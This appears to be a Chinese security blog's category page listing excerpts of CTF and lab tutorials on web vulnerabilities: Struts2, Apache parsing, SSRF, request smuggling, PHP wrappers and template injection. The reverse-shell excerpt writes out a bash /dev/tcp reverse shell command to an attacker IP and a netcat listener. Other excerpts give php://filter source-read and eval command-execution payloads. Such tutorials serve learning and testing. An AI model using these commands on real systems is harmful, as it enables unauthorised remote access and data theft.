
web基础漏洞知识
文章平均质量分 86
主要是对基础漏洞知识的讲解已经平时CTF中遇到的漏洞相关内容
hahahahaha!
学安全的
展开
-
Strust2漏洞汇总
本文所涉及的复现环境均可在vulhub上复现文章目录S2-001:原理:影响版本:复现:S2-003原理:影响版本:POCS2-005原理:影响版本:漏洞复现:S2-007:原理:影响版本:POC:复现:S2-008:原理:影响版本:复现:S2-009原理:影响版本:复现:S2-013:原理:影响版本:复现:S2-015:原理:影响版本:POC:复现:S2-016:(很重要)原理:影响版本:POC:复现:S2-032:原理:影响版本:复现S2-045:原理:影响版本:复现:S2-046:原理:影响版本:复原创 2021-10-23 09:30:00 · 2270 阅读 · 0 评论 -
Apache中间件漏洞学习
Apache HTTPD 换行解析漏洞(CVE-2017-15715)原理:apache2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略复现:首先这里查看index.php<?phpif(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSI原创 2021-10-19 22:31:14 · 4065 阅读 · 1 评论 -
反弹shell学习(一):基础反弹姿势
文章目录bash反弹:nc反弹:-e被阉割的情况:nc -e:利用Telnet反弹shell方法1:方法2:python脚本反弹:PHP反弹shell总结:bash反弹:这是最常见也是最简单的一种反弹shell的方式,直接看命令:攻击机:nc -lvp 2333受害机:bash -i >& /dev/tcp/192.168.28.133/2333 0>&1攻击机:受害机:最后攻击机达成的效果:可以命令执行,再实际中不可能获取的是root权限,所以成功反弹s原创 2021-07-25 15:56:34 · 2288 阅读 · 2 评论 -
反弹shell学习
简单讲一下反弹shell:什么是shell?linux的终端就是shell,相当于windows下的cmd.exe反弹shell的原理到底是什么:反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。这里有个地方初学者不是很好理解:目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。那么这句话的实质操作是什么呢?本质就是目标机对攻击机发起了TCP请求,既然有了请求,那么必然有输入和输出。而我们原创 2021-07-24 16:19:33 · 637 阅读 · 0 评论 -
SSRF小trick
gopher协议构造POST、GET请求从而进行内网访问:gopher协议比WWW协议要早,虽然现在普遍流行WWW协议,但是gopher协议依然是存在的,我们在SSRF中最经典的就是给你一个?url=,一般来说我们后面可以直接跟上127.0.0.1/flag.php即可达到内网访问的效果,但是如果要追踪到view sorce,那么gopher协议就是一个很好的利用方式,其实我个人认为是可以把gopher协议和www理解为一类的,都是可以发送一个POST GET请求给服务器,然后我们自身是可以伪造一些内容。原创 2021-07-24 10:58:26 · 193 阅读 · 0 评论 -
HTTP请求走私学习
前言:HTTP请求走私一类的问题再CTF中不是特别常见,最近一次遇到还是再HGAME里面,但是还是来学习一下,很多内容都是从其他文章搬运得,主要是自己记录一下,以后查阅起来自己得东西能快速拾起来文章目录漏洞产生原理:简述原理:五种攻击方式:CL不为0(前端允许GET请求携带请求体)CL-CLCL-TETL-CL:TE-TE:没有做过题目,但是看看Playload学习一下:漏洞产生原理:大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Lengt原创 2021-07-06 16:03:18 · 199 阅读 · 0 评论 -
eval(cmd)与eval($cmd)
这个问题一直困扰我许久,今天终于解决清楚了问题1:eval的执行是否需要双引号包括:先看三个命令:A:<?php eval(system(dir))?>B:<?php $cmd="system(dir)"; eval($cmd)?>A结果:B结果:报错思考:同样是一个命令,为什么会出现如此区别,询问了其他师傅得知:eval执行的是变量的值的时候,该变量值需要闭合,也就是必须是一个完整的语句,需要用分号结尾。根据这个道原理我们改一下上面的命令看看:<?原创 2021-07-01 23:20:13 · 1749 阅读 · 1 评论 -
修改文件名实现目录跳跃的思考
这个知识点一直都是似懂非懂,今天正式回顾一下:…/是作为状态码被理解还是解析的时候进行了跳转?再linux中使用一下命令:cd tmpmkdir 123mkdir ../321我们会发现在tmp目录下新建了一个123的文件,在tmp的上层目录新建了一个321的文件这里我们猜测是因为文件名中包含了 "…/"这个条约字符串导致的接下来我们直接修改文件名看看会有什么反映:mv命令这里会出现一点分歧:原因: 因为mv又修改文件名和移动文件的意思,而我又修改了文件名且包含…/ ,所以这里应该原创 2021-06-30 22:03:19 · 367 阅读 · 2 评论 -
文件包含中伪协议的利用
文件包含一直没有整理知识,今天就用这篇文章梳理一下解题吧伪协议:首先说一下:./ 与…/的区别:./是:当前目录…/是父级目录fillter、file用来读取文件源码:filter协议用于读取源码居多,读取路径是相对路径,较为轻松。一般拿来读取index.php源码?file=php://filter/read=convert.base64-encode/resource=./flag.php这里说一下,php这里可以大写例如:使用filter读取源码,方便我们下一步说说file协原创 2021-06-22 19:10:18 · 1947 阅读 · 0 评论 -
PHP Smarty模版注入
文章目录简介:常用标签:{php}:{literal} 标签调用静态方法(没遇到过 不是很理解这个playload){if}:总结:简介:Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。常用标签:{php}:Smarty支持使用{php}{/php}标签来执行被包裹其中的p原创 2021-06-21 15:17:13 · 2266 阅读 · 0 评论 -
Apache SSI 远程命令执行漏洞
首先关于Apache SSI命令执行漏洞网上讲解也不多,这个漏洞主要是与配置有关,也很简单使用条件:SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。如果服务端开启了SSI,那么就可以通过上传一个shtml文件(上传内容的是命令执行)从而达到RCE效果用法:ssi的语法格式类似HTML的注释,因此正确启用ssi之后,浏览器可以忽略他但是源码仍然可见,服务器原创 2021-06-21 14:31:29 · 224 阅读 · 0 评论 -
关于PHP二次传参
文章目录问题1:虽然是二次传参传给了cmd,但是为什么可以绕过那么正则表达式呢?问题2:那么为什么在后面,$_GET[shell]又可以进行传参了呢?问题3:既然可以把传入进来的字符串命令执行,那为什么不直接用一个$_GET然后执行所有呢?在很多CTF比赛里面,经常出现如下代码(以下代码也为后面例题源码):$a=$_GET['cmd']; if (preg_match("/system/i", $a)){ echo 'isset flag!!'; die();} eval($a); 先不原创 2021-06-19 16:31:23 · 523 阅读 · 0 评论 -
CTFSHOW php特性WP(89-108)
CTFSHOW PHP特性部分WPweb89:题目:include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } isset:检测变原创 2021-05-26 19:56:43 · 748 阅读 · 0 评论 -
命令执行.无参数RCE
linux是操作系统,是服务器操作系统,目前大多数都是采用linux服务系统主要原因就不多说了命令执行和代码执行命令执行实在LINUX终端里面进行执行的,功能强大代码执行仅仅是存在与代码中,进行代码执行,个人认为执行的也就仅仅是简单的print内容核心是命令执行,而非代码执行既然说到命令执行是在LINUX终端进行的,那么我们需要调用LINUX下的命令执行函数,比如常见的:systemshell_execexec这些常见的命令执行函数而我们常见的代码执行函数,最多的就是exec,我们很原创 2021-05-25 20:39:11 · 1402 阅读 · 2 评论 -
5.14对SSTI的复习
一开始拿到一个SSTI题目不知如何下手,写此文的目的也是为了复习一下前面学的基础知识。这里从最简单的用到的命令字典进行讲解:整个基础快速讲解无任何过滤和rebuild首先我们需要知道以下魔术对象作用: __class__ :返回类型所属的对象 __mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ "返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 获取当前类的所有子类原创 2021-05-17 11:50:32 · 683 阅读 · 0 评论 -
SSRF入门详解
SSRF学习:SSRF概念:SSRF全名:Server-Side Request Forgery:服务器端请求伪造在一些网页上,存在服务端发送请求的状态,因为存在服务端发送请求,那么我们通过URL可以传入我们需要服务端解析的内容,比如测试内网端口是否开放,访问内网文件,这就是SSRF,当然,这只是最基础的内容SSRF漏洞的主要函数:file_get_contents:使用条件需要将php.inl的allow_url_open设置为ON,否则不能使用先看源码: <?php原创 2021-03-15 12:28:48 · 1011 阅读 · 1 评论 -
NODEJS 简单的三个漏洞
NODEJS1.toUpperCase:toUpperCase这个函数有个特点:字符ı、ſ 经过toUpperCase()处理后结果为 I、S字符K经过toLowerCase()处理后结果为k利用特点(例题1):CTFSHOW:一个登录页面啥也不是,关键在于题目给了我们压缩包。打开之后:login.txt:var express = require('express');var router = express.Router();var users = require('../mod原创 2021-03-15 12:28:03 · 1539 阅读 · 0 评论 -
SSTI入门详解
关于基于flask的SSTI漏洞的阶段学习小结:SSTI的理解:SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。SSTI引发的真正原因:render_template渲染函数的问题render_template渲染函数是什么:就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。...原创 2021-03-15 12:26:50 · 5932 阅读 · 2 评论 -
对字符进行修改从而绕过
基于代码审计和部分sql相关的绕过:or||%^0b~~题目类型如下:以下分为6个方式来讨论该类型:第一题:无绕过对代码进行分析:需要GET一个ID<999的参数,但是flag需要id=1000才能获取。这里我们还可以看到他执行的是SQL语句,因此大概率是SQL注入。我们随便输入一些ID的值得到以下内容:ID=1ID=2为什么ID=2之后都没有结果呢?当然是因为数据库里面查询不到这个值,而学习过SQL注入的同学应该知道,order by 字段与 union selec原创 2020-12-24 22:56:27 · 273 阅读 · 0 评论